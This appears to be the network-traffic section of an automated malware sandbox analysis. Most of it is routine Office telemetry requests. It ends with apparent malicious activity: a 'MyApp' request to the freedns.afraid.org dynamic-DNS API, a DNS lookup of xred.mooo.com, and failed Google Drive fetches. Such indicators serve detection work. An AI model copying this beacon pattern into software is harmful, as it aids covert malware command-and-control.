Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120128v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230104v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230157v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230158v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230162v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230164v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230165v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230166v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230167v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230168v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230169v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230170v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230171v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230172v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230173v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230174v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120119v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704101v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704100v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704201v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704200v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704151v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704150v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule226009v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978 HTTP/1.1User-Agent: MyAppHost: freedns.afraid.orgCache-Control: no-cache

Source: global traffic	DNS traffic detected: DNS query: docs.google.com
Source: global traffic	DNS traffic detected: DNS query: xred.mooo.com
Source: global traffic	DNS traffic detected: DNS query: freedns.afraid.org
Source: global traffic	DNS traffic detected: DNS query: drive.usercontent.google.com

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 05 Dec 2024 23:15:05 GMTP3P: CP="This is not a P3P policy! See g.co/p3phelp for more info."Cross-Origin-Opener-Policy: same-originContent-Security-Policy: script-src 'report-sample' 'nonce-ACimrIn4mQKXcBpCzzgXZw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652X-GUploader-UploadID: AFiumC4OkQM90g87x0ogIOoNXXuTgM__Oko9TZZfnsSEhRUFDBurBMH8bPoCnvx5h-0rcidgf8bkgHYXHwServer: UploadServerSet-Cookie: NID=519=wilSLc7w7Dl2tqHEbtT-2VS6k3jk7Iz9aDWgnxG_NKdjYnR7Fv2lWVEjWXk8djyUe7clSIELRiK7VxSkkdx0H-xPbobSC0UTy5jaL864-5miEIkrD5W9L3D_3V8H90GosV9tqwseNmDupaSzZ05lq-8Y9O88ZER30fdXD2i_kEfS2n6IA4TzRhM; expires=Fri, 06-Jun-2025 23:15:05 GMT; path=/; domain=.google.com; HttpOnlyAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 05 Dec 2024 23:15:05 GMTP3P: CP="This is not a P3P policy! See g.co/p3phelp for more info."Cross-Origin-Opener-Policy: same-originContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-8yMIWDATcuoFLyusz7g2Ig' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652X-GUploader-UploadID: AFiumC58iqOV4NgYNO4asFk4dNf2Udx_i6hX944O3kL0osn9sGOX_9MRScHlEejP4V1F7XkRGmCeHGj3rAServer: UploadServerSet-Cookie: NID=519=2TRLETcpdYSb1n8_gWEAOIhoYoP59gnLOOm7oFV9-MdxaybFFISp0XHtFBfqBuCWkcOXBH8bnDfU6MwXaXMrdR90foUf91YVZaodGa4GgbiSxLZzbl8kGI7QOaNw4ghwLPqQTeGB-91eWGHD5CmVIr6gFqU3pqzcoa5V2fTtLjb_BPRxBVeVmjk; expires=Fri, 06-Jun-2025 23:15:05 GMT; path=/; domain=.google.com; HttpOnlyAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
